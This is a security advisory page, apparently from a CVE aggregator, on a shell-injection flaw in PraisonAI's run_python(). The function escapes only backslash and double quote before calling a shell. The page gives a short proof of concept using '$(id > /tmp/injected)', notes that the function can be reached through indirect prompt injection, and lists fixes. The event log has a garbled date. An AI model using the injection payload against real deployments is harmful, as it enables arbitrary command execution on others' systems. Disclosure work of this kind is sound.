CVE-2026-34937: PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

Published Apr 1, 2026
·
Updated

Summary

runpython() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

executecommand.py:290 (source) -> executecommand.py:297 (hop) -> executecommand.py:310 (sink) python source -- user-controlled code argument def runpython(code: str, cwd=None, timeout=60):

hop -- incomplete escaping, $ and () not handled escapedcode = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{pythoncmd} -c "{escapedcode}"'

sink -- shell=True expands $() before python3 runs return executecommand(command=command, cwd=cwd, timeout=timeout) # executecommand calls subprocess.run(command, shell=True, ...)

PoC python tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.executecommand import runpython

result = runpython(code='$(id > /tmp/injected)') print(result)

verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], captureoutput=True, text=True).stdout) expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to runpython() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTHENABLED = False by default when no token is configured.

Other sources

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, runpython() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonaiagents<=1.5.89
1.5.90
Praison praisonaiagents<1.5.90

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.5.90
  2. Upgrade

    Upgrade praisonai to a version that resolves this vulnerability.

    Fixed in 1.5.90
  3. Configuration

    Set AUTH_ENABLED to enable authentication (do not leave AUTH_ENABLED = False when no token is configured) to reduce exposure of run_python() to indirect prompt injection.

    PraisonAI auto-generated Flask server AUTH_ENABLED = False

Event History

Apr 1, 2026
Advisory Published
via GitHub·11:18 PM
Data Sourced
via GitHub·11:18 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
CVE Published
via MITRE·10:50 PM
Data Sourced
via MITRE·10:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software
Apr 10, 58255
Event
via NVD·06:29 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203